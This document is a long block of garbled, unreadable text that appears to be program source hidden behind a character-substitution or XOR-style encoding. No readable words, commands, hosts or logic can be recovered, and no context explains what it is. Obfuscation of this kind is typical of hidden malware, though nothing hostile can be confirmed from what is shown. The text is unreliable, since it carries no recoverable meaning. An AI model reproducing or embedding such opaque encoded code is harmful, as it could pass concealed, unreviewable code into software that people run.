RKFDu___[NHHL__B_____NLJWVDu___[G_B__LFK JFMJMWVDu_____[ F INKF__B___WVDuu_________W[	GGKMG______[OGOGV___u[LFIM___B___W[OGOG__BBB____[	KNIO___Q___IFMWMOKKV____YY___^[NHHLV___WLWMOLGVW[OGOGS_RWITGVV______BBB_IFMWMOKJV______YY_^[GVDu____[	HJMM__B_?GKFWMOLNVW[OGOGVDuuuu_____W[	HJMMV__uPU_	R_
_UPuu_____[ F INKF$[OGOG"__B_____[	HJMM$LWMOLMV"____Q__XX__Q_[	HJMM$GKFWMOLLV"_Q_W[LFIM_@__LWMOKIV___Q______LWNGGMVWV__E__]]VDuuu__W[HH	H______[_____BA__[
M	V_u_[K	IO_B__
OH	MHW L	WMOKHVW[S__WOKTONVVS_[
M	VDu____W[K	IO___BBB___XOX_________GKFWMOKHVW[K	IOS_____RMV_BBB____IFMWMOKGVV__[K	IO__QB__GKFWMOKFV___Q_GKFWNGGMVWVDu[ F INKF$["__B___[K	IODu_u___?
 WIFMWMOLOVS_[ F INKFS_____ L	WMONLVVDuu__________u___JLFMFWLWGONVVDuuuu______u_____W+____[NJN MV__u_KKGMM 

WIFMWMOJOVS__[NJN MVDu_________W:_[NJN MV______u__uuuu_uuu_
____
OH	MHW[OGOGS____[
M	Vu_uu[	HJMM___B__?GKFWMOLNVW[OGOGVDu______W^[	HJMMV__
____XOXDu[H MN N
_B__[	HJMM$LWMOLMV"____Q__XX_____Q__[	HJMM$IFMWMOLLV"Duu______W[	HJMM$GKFWMOLMV"__A_WNOKGJJMTMKVV___
______IFMWMOJNV______Q_[H MN N
Duu_[MOO__B__?IFMWMOJMVW[OGOGVDuu__
__[H MN N
____Q____XX______Q__WW L	WMOMJVW[MOOV__YY__IFMWMOOLVW[MOOS_[
M	V_^BB__V___@___XNX__E___XOXVDuuuu____
__GH			 LOFWVu_u______[ 	__B__IFMWMOKMVW L	WNGJIVV_@__ WGKFWMNKVS_____]]V___E_]]Du_______ IHK L
LWVDu__[ K
J__B___ L	WMOKMVWIFMWNGJIVV_@___ W L	WMNKVS___]]V_E____]]Duu___W[ K
J__BBB______[ 	V__? W L	WMNKVVDuuuuu_
___ IHK L
LWVu___[	IFBNNOHD[NB[	IF!NIDuuuu___u_____________W^W L	WNFNHVVV_____
Du__[	KNIO____B_
MHGO
G	
FWVD[JMLJB/7/ 61+ 2>'P/7/ 61+ 2>'D[JKMNJB[JMLJTNMDu___[IN
_B___	MGLGWVDu_[GKGFIK____B_____F
W>=,/>+7_Q_GKFWNINJVS_____WLTJVV__Q___GKFWNLMGVDu____[	 GK____B__F
W>=,/>+7____Q___GKFWMOJLVS__WNLRJVV__Q__IFMWMOJKVDu[HH	____B__F
W>=,/>+7______Q__ L	WMOMIVS___WNTHVV_Q_____GKFWMOJKVDu___[OLHGG_____B___F
W>=,/>+7_Q___LWNLHFVS____WOKTOKVV_Q__LWMOJJVDu_____[
J_B__F
W>=,/>+7_Q____IFMWNKONVS__WOKTOKVV_Q_LWMOJJVDu___[KLKGO___B___IFMWNIKIV__Q_____F
W>=,/>+7__Q____XXS__WNCCLVVDu___[	ML NN____B__Wu[	KNIO__Q__GKFWMOJIV__BA__ L	WFMKVSu[	KNIO__Q_GKFWMOKKV_____BA____LWMOJHVSu_VDu____W[	ML NN____[OGOG__BA__[V__u____W^?LWMOKNVW[OGOGVV___
Du[MOO____B__?IFMWMOJGVW[OGOGVDuuuu_____W[MOO___BBB__V__
Duuu_[K
KM_B__IFMWFMFV___Q_____[_____Q___GKFWFLOV_Q____[___Q___ L	WFLNVDu____[ HNO ___B___LWMOJFVW[K
KMS__]]S_[MOOVDu_______W[ HNO __^BB_[MOOV_
LKLJ	NW[OGOGS_[ HNO VDuuuu______u_[KNJI__B____[	KNIO_Q___GKFWJHGVDu_____W? L	WMOKNVW[KNJIVV__u__[HF___B__? L	WMOIOVW[KNJIVDu_____WIFMWMOMJVW[HFV___YY__[HF_____^BB__]]V_____uuu_______WIFMWMOLKVWIFMWMOINVS___LWMOIMVW[HFS_OS__WMJLTKHVVV________LWMOILVW[HFS____IFMWNJJOVV_BBB_OV___u__L 
	W[KNJIS____WKNMTGVVDu_O
	LW[KNJIVDu___uPP__uu[G
JG_B_LWMOJFVWIFMWMOIKVS__]]S__[HFVDu________WIFMWMOMJVW[G
JGV___YY____[G
JG__^BB__[HFV___
LKLJ	NW[KNJIS____[G
JGVDu_
W[G
JGVDu____u____u
W[HFVD[	KMNJBNNGKMD[KMF	 B[	KMNJ!NOKDuu_[OFNI_B____ L	WNFNLVWNIFFOOL	OWVV_____Q_____IFMWNKMVD[ J BWOMJTOHNVD[JGB[ J ZNMDu____[
KNG______B___W L	WNFHGVV____@_(/ <01+:1+ ;6-__Q__ L	WMOIJV___E__[OFNIDu____[ OIO_B___Wu____[	KNIO______Q_XPX__Q____[GKGFIKSu_____[	KNIO__Q__XPX__Q_[	 GKSu[	KNIO___Q___XPX__Q_[HH	Su[IN
____Q___XPX_Q__[OLHGGSu_[IN
_Q___XPX_Q___[
JSuu_[IN
__Q______XPX___Q_[	 GKSu______[IN
_Q_XPX__Q_____[HH	Suuu_[OFNI_Q_____XPX__Q__[OLHGGSu_____[OFNI_Q____XPX___Q___[
JSu____[OFNI___Q_XPX__Q___[	 GKSu_______[OFNI____Q___XPX___Q____[HH	Su_____[
KNG_Q___XPX____Q____[OLHGGSuuu__[
KNG__Q__XPX__Q_____[
JSu______[
KNG___Q_XPX_Q__[	 GKSu_[
KNG_Q_XPX__Q_[HH	Su__VDu______[ KOMM__B__KLML KWVDu__[ OIO$"__B__[ KOMM$N"Du_[ OIO$"______B__[ KOMM$N"__Q_GKFWNHHMVDu_
W[ KOMMVDu_____W L	WMOKMVWIFMWNFFHVVV_u_____WWV___?GKFWNFFHVW[	KNIO___Q_GKFWMOIIV____Q___[GKGFIKV__________[IJJIGFFK FOV___[ OIO$"__B_[IJJIGFFK FODu___WWV__?GKFWMOIHVW[	KNIO_Q____LWMOIGV__Q___[GKGFIKV__[IJJIGFFK FOV____[ OIO$"___B___[IJJIGFFK FODu__WWV_? L	WMOIHVW>=,/>+7_Q_____IFMWMOIFV_Q__[KLKGO_Q__GKFWLNMVV________[GHGIGKLV_[ OIO$"_B___[GHGIGKLDu___WWV___?IFMWMOIHVW[	KNIO____Q_____XPX_____Q_[KLKGO___Q_GKFWLNMVV_____[GHGIGKLV___[ OIO$"_B___[GHGIGKLD[ MIJOB/7/ 2>50- ):-,601D[OIILB[ MIJOUNODu___WWV_?LWMOIHVW[IN
_Q_XPX_Q__[KLKGO__Q____GKFWLNMVV______[GHGIGKLV__[ OIO$"____B__[GHGIGKLDu_____WWV__?GKFWMOIHVW[OFNI____Q_XPX___Q__[KLKGO_Q__LWLNMVV_____[GHGIGKLV___[ OIO$"____B____[GHGIGKLDu_WWV__?IFMWMOHOVW[
KNG____Q____XPX_Q____[KLKGO_Q______ L	WMOHNVV____[GHGIGKLV__[ OIO$"___B__[GHGIGKLDu__u[FHLM F_B___F
W>=,/>+7__Q_XXS_WNTHVVDu__[  N	GL_B_____W>=,/>+7____Q____IFMWMOHMVS____[	KNIOS____[IN
S__[OFNIS______[
KNGVDuuuu_______W[  N	GL_____[ V_____uPP_(/_IQL_E_	R_R
uu_____W? L	WNFGMVW[ V_YY___?IFMWNFLIVW[ VV__LFMOHMH
FW[ __Q_ L	WMOHLV___Q____[FHLM FS__GIILHWVS_ L	WMOHKVVDu__u___________WIFMWMOHJVWLWMOHIVVV__u_W[  N	GL____[ V_____u_____WWLWMOHHVS_ L	WMOHGVS_LWMOHFVS___ L	WMOGOVS____IFMWMOGNVS____ L	WMOGMVS__GKFWMOGLVS___LWMOGKVS_ L	WMOGJVV____[F		
KV___[	NJBWOIOTOFVD[NGB[	NJZJDu_WWV_?IFMWMOHIVW[ __Q_XPX__Q__[F		
K__Q___XUXV___[IIV____[ OIO$"__B_[IIDuuuuu_______WWV__?IFMWMOHIVW[ ____Q___ L	WMOGIVV_______[MV_[ OIO$"_B__[MDu__uu__u
W[FHLM FS____[  N	GLS_[ S_[F		
KS_[IIS____[MVDuu___[GFGOLL ___B______W>=,/>+7__Q__LWMOGHVS____[	KNIO_Q_IFMWMOMMVVDu________W[GFGOLL _____[KIIJV_u____W^?LWMOKNVW[KIIJVV____
Du__[MOO_____B______?IFMWMOGGVW[KIIJVD[
GNGBJJUMD[KMB[
GNGRMLDu______W[MOO__YY__IFMWMOILVW[MOOS__ L	WMOGFVV_^BB___V____u_____[MOO_B__IFMWMOJFVWGKFWMOFOV__Q____IFMWNKNOVW[	 GKS__XPXV__Q_GKFWNNJIVS__]#]S_[MOOVDu__________WIFMWMOMJVW[MOOVV_____u[MOO_____B_LWMOJFVW L	WNNJHV_____Q_ L	WNKNOVW[	 GKS____XPXV_Q__IFMWMOFNVS____]#]S_[MOOVDuu__u______W L	WMOMJVW[MOOVV_u_[MOO__B_ L	WMOJFVWIFMWMOFMV__Q____ L	WNKNOVW[	 GKS______XPXV____Q__LWMOFLVS___]#]S__[MOOVD[ LMBJOIJD[HB[ LMZLDuu___WIFMWMOFKVW[MOOVV_
LKLJ	NW[KIIJS___[MOOVDu____u______uuuu__[GOFI__B_>=,/>+7__Q____GKFWMOFJVDu____W^?IFMWMOFIVW[GOFIVV___u_[
KK O__B___LWMOFHVW>=,/>+7V_Q__ L	WMOFGVDuu_______W? L	WMOFIVW[
KK OVV_[GOFI__B_[
KK ODuuuu_u____W?GKFWMOFIVW[GOFIV_YY__? L	WNFLIVW[GOFIVV____u_[ _B___? L	WMOGGVW[GOFIVD[GOOBFHOOD[K
B[GOOZNLDu____WLWMOFKVW[ V_YY___ L	WMOILVW[ S_IFMWMOFFVV__^BB_____V_u___[G FLOF
N__B__LWMNOOVWLWMNONVS__]]S____[ VDu__WGKFWMOFKVW[G FLOF
NV_____YY_____[G FLOF
N__^BB___[ ___YY______	JFO H
W[G FLOF
NVV______uuuu__[GG_B_? L	WMNOMVW[GOFIVDu_____W
LKLJ	NW[GOFIS__[G FLOF
NV_YY_____[GGV__?LWMNVW[GOFIS__[GGVDuu_
W[G FLOF
NS__[GGVDu__u
W[ VDu_u
W[GOFIS__[
KK OVDu__[	 FN 
GL___B__LWMOHJVWIFMWNKGLVV__@______?LWNKGLVWGKFWMNOLVV_E___Du__W^[	 FN 
GL__[	 FN 
GL______BBB___]]V_____[	 FN 
GL_B___GKFWMNOKVDuuuu_[HNG
OO_B__W>=,/>+7__Q_[	 FN 
GLS__[	KNIO_____Q_XPX____Q____[	 FN 
GLVDu____W[HNG
OO__[JGLFNV_____u_____W^?IFMWMOFIVW[JGLFNVV___
Du_____[MOO_B_?IFMWMNOJVW[JGLFNVDuuu_____W[MOO_____YY_ L	WMOILVW[MOOS____LWMOGFVV__^BB___V___u______[MOO__B_LWMNOIVWGKFWMNOHV_Q_____LWMNOGVW[HH	S____XPXV__Q_ L	WMNOFVS___]]S_[MOOVDuuuu_______WLWMOFKVW[MOOVV_
LKLJ	NW[JGLFNS__[MOOVDuuuuu_____[HK___B_____Wuuuu__[	KNIO__Q___XPX____Q__[HH	Su_____[IN
___Q__XPX__Q___[HH	Suuu_____[OFNI_Q_____XPX__Q__[HH	Su____VDuuu____[FHHLI__B______LWMNNOVW[ OIOS___[HKVDu__________W[HK______[MNHV___u______W?GKFWMNNNVW[MNHVV_u_____L 
	W[MNHS___WIKHRMMHVVDu___
LKLJ	NW[MNHS_ L	WNIOMVVDu_____uu__W[FHHLI_____[MNHV_u_W?IFMWMNNNVW[MNHVV__u_L 
	W[MNHS_WLMKTFIVVDuO
	LW[MNHVDuuuuu__u________WLMHLJ	WV_____[ LV___u_W^? L	WMNNNVW[ LV________^? L	WNFLIVW[ LVV_
Du_[MOO_B_?IFMWMNOJVW[ LVDu______WIFMWMOFKVW[MOOVV__u_______[GFL
 _B____
FKNLW[MOOS_ L	WMNNMVS___LWMNNLVVDu[GFL
 __B___
FKNLW[GFL
 S_GKFWMNNKVS___ L	WMNNLVVDu___WLWMOFKVW[GFL
 V_YY______[GFL
 ___^BB____[MOOV___
LKLJ	NW[ LS___[GFL
 VDu_______
W[GFL
 VDu_____u_uuuu______WGKFWMOHJVWLWNJFKVV____YY_____IFMWMOHJVWGKFWMNNJVVV______uuuu____[___B___  
	
GWVDu__W[_^BB___V_uuu____[ 	L GH J__B____? L	WNJFKVW[S____XXS__OS__OVDu_______W[ 	L GH JV__u_?IFMWMNNIVW[ 	L GH JVDu____? L	WNJGFVW[ 	L GH JVDu___u_____u______u______WLWMOHJVWIFMWMOOIVVV__u_____[
MJ__B___F
W>=,/>+7_Q_LWMOOGVS_WITKVVDu_? W[
MJVDuuuu[ 
FLLK_B____ L	WMNNHVWLWMNNGVV_____@_? WIFMWMNNFVS_WVV_E____WVDu___WLWMNMOVW[ 
FLLKVV__u_______WW[ 
FLLK$XX"VV_O
	LW[ 
FLLK$XX"VDu___WW[ 
FLLK$IFMWMNMNV"V___YY____ L	WMNMMVW[ 
FLLK$IFMWMNMNV"VV__u___W[ 
FLLK$ L	WMNMLV"______[ V___uuu____WLWMNMMVW[ V_YY__W[ $XX"VV____O
	LW[ $XX"VDu_u_u__u______? W L	WMNNFVVDuu__? W L	WNGGHVVDu__? WLWMNMKVVDu? WGKFWNJOOVVDu______? WLWMNMJVVDu_____? WGKFWNKIOVVDu____? WLWNKKFVVDu_? WGKFWNKINVVDuu___
W[ 
FLLKS___[ VDu_____uPP_(/_9_3__uu_WIFMWMNNHVWLWGFOVVV___u________? WGKFWMNMIVVDu? W L	WMNMHVVDu__? WN FHJJHOWVVDuu_____WIFMWMNMGVWGKFWMNMFVVV_____uuu?  
 WGKFWMNLOVVD[H	
LIBNFJMJMD[GB[H	
LI!NFDuuu_?  
 WGKFWMNLNVVDu_?  
 WMOH	MGWVVDuuuu_____u________W+___[NJN MV______u___KKGMM 

WLWMNLMVS_[NJN MVDu_____W:_[NJN MV__uu__u
__NLJWVu___u____uu_W^WLWNFNHVVV___
____Duuuu[	KNIO_B___
MHGO
G	
FWVDu_[K
K_B___[	KNIO_Q___GKFWMOKKVDu__[	M	O__B____ L	WNFFJVWNIFFOOL	OWVS__LWMNLLVVDu__[OKN____B____	MNMWVDu___W^[OKN_____ L	WNFOMVW[OKNV____C______WKHITMKV_______ L	WMNLKVW[OKNV____A_WOJNTONNMV____NMNJJFINW[OKNV___^	JFO H
W[OKNVV___
___Du[
_B_?LWNJOKVW[K
KV___@_? L	WMNOJVW[K
KV___E____]]Du________W^LWMOFKVW[
VV__u_KKGMM 

W L	WHLNVS_ L	WNKKMVVDu________
_Du___u______[
____B_ GH
JKHW[
VDu[	NHJ_B__GIILHWV_____Q____XEX____Q_F
W>=,/>+7_Q____ L	WMNLJVS_WONTOHVVDuuu___[ MO
FI_B___ L	WMNLIV__Q___[	NHJ______Q_IFMWNIMHVDuuuu[NLGF___B____ L	WMNLHV___Q_____[	NHJ___Q_IFMWNIMHVDu_____[	HFF______B__F
W>=,/>+7__Q__LWMNLGVS_WJTLVVDu__[
	IJ	____B____GKFWMNOIVWLWMNLFV_Q_[	HFF__Q_ L	WMNKOVS__]]S_____[
VDu___[
HOJ___B_WLWMNKNVW[
	IJ	S___LWMNKMVV_____^BB___VDu__WIFMWMNKNVW[
S__[ MO
FIV__^BB____YY_IFMWMNKNVW[
S______[NLGFV___^BB_______YY__^[
HOJV__
___
Du[
__B___LWMNKLVWLWMNKKVS__]]S__[
	IJ	VDu__W^IFMWMOFKVW[
VV__u___KKGMM 

W L	WHLNVS___IFMWNJIOVVDuu___
___Du__u__[I	H 	______B___LNMWVDu_______W^[I	H 	V_____
_Duuu___[ONMJMN_B_IFMWMNKJV_Q___ L	WMOIMVW L	WMNKIVW[	M	O_Q_WV_KIIKM	WVVS___OS___WFG!NOIVVDu_[	IGNMKF___B____F KKI KFWu L	WMNKHVSuWX  ,3*8  XS___X  /3*861 =>,:IK  XS_____X  8*>-; 1>2:  XS__X  ):-,601  XVSu_W[	M	OS_[I	H 	S_[ONMJMNS_GIILHWVVu_____VDu_uu___W^[	IGNMKFV___u______WWV__ WIFMWMNKGVS___OV_A____OV____KKGMM 

W L	WHLNVS___LWMNKFVVDuuuu__
_Du_uu_____[
_B_ GH
JKHW[
VDu____[	I_B___GKFWMNKLVWIFMWMNJOVS____]]S_[	IGNMKFVDu_[LH_B__W L	WMNJNVW[
V__BBB__OVDuuu___W^[LHV____u__W^ HINHMWLWHLNVVV__uuu_____KKGMM 

W L	WHLNVS____LWNJIMVVDu___
__Du_uu__W^ON F
JW[K
KS______[
VV_u_KKGMM 

WIFMWHLNVS____ L	WNIKNVVDuuuu_____
_Du__u__		OWLWHLNVVDu_____u____W^ON F
JW[K
KS_]]VV_[ F

BFTNFD[O
B[ F

RNJDu____KKGMM 

WIFMWHLNVS_____IFMWMNJMVVDuu
____Du_____u____u_[	OJ ___B_FJFMH GHLIFW[
S__[ MO
FI___Q__]#]__Q_[	I__Q____]#]__Q_[NLGFVDuuuu__W^
LKLJ	NW[K
KS_[	OJ VV__u_____
__Duu___u______W[LHV_OFKKF W[K
KVDu_
_____
Du_____W+____[NJN MV____u____KKGMM 

WIFMWHLNVS_[NJN MVDu________
__Duu_____W:__[NJN MV___u_
____Du_____uuuuuuuu
____LMHLJ	WVu_u______[	L ____B_WVDu__uu_________W^ L	WMNMGVWGKFWMNNGVVV_
_[	L Du_____[  J__B__WW L	WNFHGVV____@______(/ <01+:1+ ;6-_E____WWIFMWNFNHVV___@__>=,/>+7__Q__IFMWMNJLV___E_]]VV_Q__LWMNJKVDuu____[
	MKMH__B_WV___? WLWNMJLVS___]]VDu_____W[
	MKMH___^BB__]]V__[	L $"____B_[  J_Q___[
	MKMH_Q_ L	WMOKJVDu_[H
J F____B___WV__? WGKFWNMJKVS_]]VDuuu____W[H
J F___^BB_]]_YY__[H
J F_^BB__[
	MKMHV__[	L $"_B__[  J___Q____[H
J F____Q_IFMWMOKJVDuuuu___
__[	L Du___u__
_HFJNJFWVu_u_____u___W^WIFMWNFNHVV__^LWMNMGVWGKFWMNJJVVV__
Du_____WLMHLJ	WV________[OOJFHFV____uPP___uuu___[NI I
_B___	MGLGWV__Q_ L	WMNJIV_Q__F
W[OOJFHFS___WNNTNVV__Q__IFMWNGLHVDu_____W^?IFMWMNNNVW[NI I
VV___
Du___W?IFMWMNNNVW[OOJFHFV___YY____?GKFWMOKOVW[OOJFHFV_A____OV__
Du_[	IJO_____B__?GKFWMNOJVW[NI I
VDu_____W^ L	WMOFKVW[	IJOV_______[	IJO_____BBB____]]V__
Duuu_W
LKLJ	NW[OOJFHFS___[	IJOVV_____u_KKGMM 

WIFMWMNJHVS____GKFWMNJGVVDu__?
 W L	WMNJFVS__LWNGGMVWVS___ L	WMONLVVDu____u_uPP_?_
RRuu_______W+___[NJN MV__u_KKGMM 

WGKFWMNJHVS___[NJN MVDu________W:__[NJN MV_uuuu_u______
__LFK JFMJMWVu_____uuuu__u__W^WLWMNIOVVV_
______Du______uu__[	____B____LMHLJ	WVDu____WW[	VV___
___Du_[G_B_WV__ WLWMNINVS_____OVDu_____W[G_YY____GKFWNGGMVWV_R_____[G__C_WOMKTONMIVV_
_Du___[	NHJ_B__GIILHWV__Q___XEX__Q___F
W>=,/>+7____Q______ L	WNGNJVS______WOITOMVVDuuu_[ MO
FI__B__IFMWMNIMV__Q_____[	NHJ__Q_GKFWMNILVDu[NLGF___B_ L	WMNIKV____Q_[	NHJ_____Q____IFMWMNILVDu[ONMJMN___B__IFMWMNIJV_Q__ L	WMNIIVW L	WMNKIVW>=,/>+7__Q___WV___KIIKM	WVVS______OS_WMCCMVVDu_[	M	O__B___LWNFFJVWNIFFOOL	OWVS__GKFWMNIHVVDu_[I	H 	____B_LNMWVDu___uu____W^[I	H 	V__
__Du[IJIL_B____F KKI KFWu__GKFWHLKVSu__WX  ,3*8  XS_X  /3*861 =>,:IK  XS___X  8*>-; 1>2:  XS__X  ):-,601  XVSu______W[	M	OS_[I	H 	S__[ONMJMNS_____GIILHWVVu_______VDu______W^[IJILV_____uuu_______WWV_____ WIFMWMNKGVS__OV_____A____OV__KKGMM 

WIFMWMNJHVS______LWMNIGVVDu____
_Du__u__[IJIL___B__ L	WMNIFVWGKFWMNJOVS____]]S_[IJILVDu________W^IFMWMOFKVW[IJILV____[IJIL____BBB____]]V_
_Du____W[	_____[ LV__u__________W^? L	WMNNNVW[ LVV__
Du[
FI_B__ L	WMNMGVWGKFWNOKVV__@_____?IFMWNOKVW[ LS_XXV___E___Du___W[
FI__^BB_______YY_ L	WMNMGVWGKFWMNHOVVV_?W[
FIS__30<4 :'VDu_[
__B______?LWMNOJVW[ LVDu___W^LWMOFKVW[
VV_____u_KKGMM 

WLWMNHNVS_LWNKKMVVDu_______W[
FI_____^BB___V____uu_W L	WMNHMVW L	WMNHLVVV___?W[
FIS____30<4 *1VDu_____?W[
FIVDu_u___
Du__u___uu______WGKFWMNJNVW[
V_A____WONLTOLOLVV_____[
___B_ GH
JKHW[
VD[KJBNOINFJD[HNGB[KJ!NKDu______WIFMWMNKNVW[
S___[ MO
FIV_____^BB__YY___ L	WMNKNVW[
S_____[NLGFV__^BB__V_
_____
Duu______W^?LWNFLIVW[ LVV___
Duuuu_____[NI I
___B___	MGLGWV_____Q__LWMNHKV___Q_F
W[ LS__WICCNVV______Q_IFMWMNHJVDuuuu__[NF_B_F
W>=,/>+7___Q___GKFWMNHIVS_____WMCCMVVDu_[
____B__
FKNLW[
S__ L	WMNNMVS__GKFWMNHHVVDu___[
_____B__ L	WMNHGVW L	WMNHFVS______]]S__[
VDu__W^IFMWMOFKVW[
VV_uu____KKGMM 

WIFMWMNGOVS___IFMWMNGNVVD[	OOBNNKMGD[	KNB[	OO!MOODuuu____
Du__u__WIFMWMNGMVW[
S_LWMNGLVV____^BB_____LWMNGMVW[
S_LWMNGKVV_____^BB____V__u[KML_B_____?IFMWMNNNVW[NI I
V___@_?GKFWMNOJVW[NI I
V___E_Du_____W^IFMWMOFKVW[KMLV__[KML___BBB_]]V____[FKKNH	BMJHGD[H JB[FKKNH	ZNKDu__KKGMM 

WIFMWMNGOVS__GKFWMNGJVVDu___
Du_uu_[
_B_____[KMLDu__
W[KMLVDu__u___[MHMI__B_	 IJGW[
VDu_____WGKFWMOFKVW[MHMIV__YY_____[MHMI_____^BB__]]V____uu_____[LGMI____B____?LWMNNNVW[NI I
V____@_?GKFWMNOJVW[NI I
V____E__Du____W^IFMWMNGIVW[LGMIV____[LGMI______^BB__[MHMIV__
LKLJ	NW[NI I
S___[MHMIVDuuu___
W[LGMIVDuu___
W[MHMIVDu___[IOLN___B_LWNIOMVDu_____WLWMNJNVW[
V__A__O__YY___IFMWMNGMVW[
S_____LWMNGHVV_^BB_____YY_____IFMWMNIIVWLWMNGGVW[
VS_RMV____^BB______ L	WNIFIVV___u______[IOLN_B____]]Du_uuu_______[OFL____B___WIFMWMNGFVW[
V____A___OV___@___]#]__E_]]Duu___[LO_B_[OFL___Q__[IOLN_Q_[ MO
FI___Q__]#]_Q___[IJIL___Q_]#]__Q___[NLGF_Q_]#]Du______W^ON F
JW[ LS_____[
VV___uPP_
__Ruuu__KKGMM 

WLWMNGOVS__GKFWMNJMVVDuu____
Du_______uu____W^
LKLJ	NW[ LS__[
__Q__[LOVV_
Du
__
Du_______uu_____________W[
FI_____^BB__V__u___W L	WMNHMVWGKFWMNHLVVV_____?W[
FIS_____30<4 *1VDu?W[
FIVDu__u__u_u__
___Du_______W+__[NJN MV___u___KKGMM 

WGKFWMNGOVS__[NJN MVDuuuu__
______Du________W:____[NJN MV_u_
____Duu__uu
__ IIGJJKNWVuuuu__________uuuu____W^WIFMWMNIOVVV____
Du__WNLGIM	NJWNIFFOOL	OWVVV____
Du__[	KNIO___B_
MHGO
G	
FWVDu__[GKGFIK_____B___F
W>=,/>+7______Q___ L	WNINJVS____WJI!KGVV___Q____IFMWMNFOVDu__[	M	O___B___IFMWNFFJVWNIFFOOL	OWVS_____ L	WMNFNVVDu_____[OKN__B_	MNMWVDu____W^[OKN___ L	WMNGFVW[OKNV__C___WKNFTGNVV__u_KKGMM 

W L	WNKHFVS____GKFWMNFMVVDu
Duuuu__W^ L	WNJMJVW L	WMNFLVVV___
Du__[	GGKMG__B_Wu__[	KNIO_____Q_XPX__Q__[GKGFIKSuu__[	KNIO__Q__IFMWMNFKV___Q__ L	WMNFJVW L	WMNFIVV___Q___[GKGFIKSu__VDu[LOJ_B__WW L	WMNFHVV_____@____(/ <01+:1+ ;6-__E___>=,/>+7_Q__ L	WMNJLVV__Q___IFMWNMJIVDuuuu___W?IFMWNFGMVW[LOJVV__u____[ 	JK LIM_B__
MN
LHJH
W[LOJVDuu_____WGKFWMNMMVW[ 	JK LIMVV__uuuu_____W[ 	JK LIM_______[NJN MV_____u[M__B_____[LOJ______Q__XPX_Q___[NJN MDu_____W?LWNFGMVW[MV_YY_?LWNFLIVW[MVV__u[	GGKMG$"_B____[M__Q__XPX_Q_[GKGFIKDuuuu_Du___uuuu__uPP_?
_

Ruu___uuPP_	R_uu____W[	GGKMG______[HJGV___u________W?LWMNFGVW[HJGV____YY___?GKFWMNFFVW[HJGV_A_WOTOMFVV_u__[	OI_B__GKFWMNFLVDuu_____W L	WNJMJVW[	OIVV_u__[
OH__B_______[	OIWVDu_____W?[
OHRAW[HJGV_BBB__
V____uuuu_[
OHRAWVDu_
Du_u__u____uuuu[HN
O_B___IFMWMOFHVW[HJGVDu___W^?LWNFGMVW[HN
OVV_ NKKW[HN
OS_WLFMTNONVS__
VDu____[	OI_B_LWMNFLVDuuu__[N	H____B______ IIL
K NIOIW[HN
OS__GKFWNNOFVVDuuu_______W[N	H___BBB_V____
Du[   I__B______[	OIWVDu__W?[   IRAW[N	HS__[	OIEE<-:>+:________[	OIEE0):-(-6+:V____BBB__
V_u____[   IRA9,W[	M	O__Q_XPX__Q_[	M	O______Q_ L	WMNFNVS__[OKNVDu__[   IRAWVDu__[LKHI_B_____[	OIWVDu_______W?[LKHIRAW[N	HV__BBB_
V____u___[LKHIRAWVDu____WH	JO
 MW[N	HS__[HJGV_____W
HIOW[N	HS_[HJGV_____YY____O
	LW[N	HVVV___u____OOKHH
 LGW[HJGS_N
KI
WVVDuuu__L 
	W[HJGS_WLHNTKFVVDuuuu__________uPP_(/_,	_,_-E_R_
uuuuu___O
	LW[N	HVDuuPP__uu_____u___O
	LW[N	HVDu__u___u______O
	LW[N	HVDu____u_u___W+______[NJN MV______uuuu____KKGMM 

W L	WNINJVS__[NJN MVDu____________W:___[NJN MV___uuuuuu___
_FFMMOOWVu_uuuu____uuu_____W^ L	WMNHMVWGKFWKLHVV____^ L	WMNHMVWLWMMOOVVV___
Du____W^WGKFWMMONVVV___
Duu_[HN __B_ L	WMNLOVDu__W^  
W[HN VV__uuu 
 	W L	WNGGMVWV___T_____WMFMTGVS_GKFWMMOMVS______[HN VDuPP_R_
_Ruu____uuu_______W^  
W L	WMNLNVVV____u_ 
 	WIFMWMMOLVWV_T_WJOLTFHVS_IFMWMMOKVS_ L	WMNLNVVDu__uPP__uu______W+__[NJN MV__[
MFFBNMNND[IIB[
MFFZFDu_____KKGMM 

WGKFWMMOJVS_[NJN MVDu___________W:_[NJN MV__u_uuu_uuuu
___ LN
FFLHWVu__u_____u__W^WLWMMONVVV____
Du_[IJJ____B______F
W>=,/>+7___Q__XXS_WN!FVVDu____[
H__B__WVDu____W L	WMNHMVWIFMWMMOIVVV___[
H$"__B__	MGLGWVDu_[
H$"__B_>=,/>+7____Q____ L	WMMOHVDu__uu___WGKFWMNHMVWGKFWJKVVV_[
H$"__B__
MHGO
G	
FWVDu_____W[
H____[KOINV_u[
LOJ____B______[KOIN_____Q___GKFWNIKHV__Q__[IJJDu______W?LWMMOGVW[
LOJV_YY___WV__?GKFWMMOFVW[
LOJV__A____LWMMOLVWV__R____WLNNRHNVV_
Du__uu_______W[
H______[KOINV__u___[ LNJ

 _____B___[KOIN___Q____LWMMNOV__Q_[IJJDu___W?LWMMNNVW[ LNJ

 VV__u____[J
__B_WV__?GKFWMMOFVW[ LNJ

 VDu____W[J
_A______LWMMOLVWV___R____WGILIGTLMV____YY__[J
_CB___LWMMNMVWV__T_____WHOTMLOVV__
Du_______O
	LW[ LNJ

 VDu___u[JF_B_____[KOIN___Q__ L	WNIJMV______Q__[IJJ______Q_GKFWMNFNVDu____W?LWMMNLVW[JFV___YY__WV____?GKFWMNFFVW[JFV_A_WKGMTNGVV__u[M	ILFKL___B__[KOIN____Q___IFMWNIGNV____Q__[IJJDu___[INJ____B__? L	WMMNLVW[M	ILFKLV__@____IFMWNMGNVWWV_?LWMNOJVW[M	ILFKLVV__E_____]]Du________W[INJ__^BB__]]__YY____ L	WMNHMVWGKFWMMNKVV___YY__?J W[JFV___BBB_[INJV_u_?
__[JFDu___
Du__u__W[INJ_^BB_]]V___u__O
	LW[JFVDu________u____
W[M	ILFKLS_____[INJVDuu___u___
W[ LNJ

 S______[J
VDu_____WGKFWMNHMVWIFMWGFOVVV_? WIFMWMMNJVVDu___HKNNWVDu__uuuuu________W+___[NJN MV___uKKGMM 

WLWMMNIVS___[NJN MVDu________W:___[NJN MV__u__u__u
_____	GIHIFNG
WVu_u__u___W^WIFMWMMNHVVV_
Du_____KLHKNIIGHW
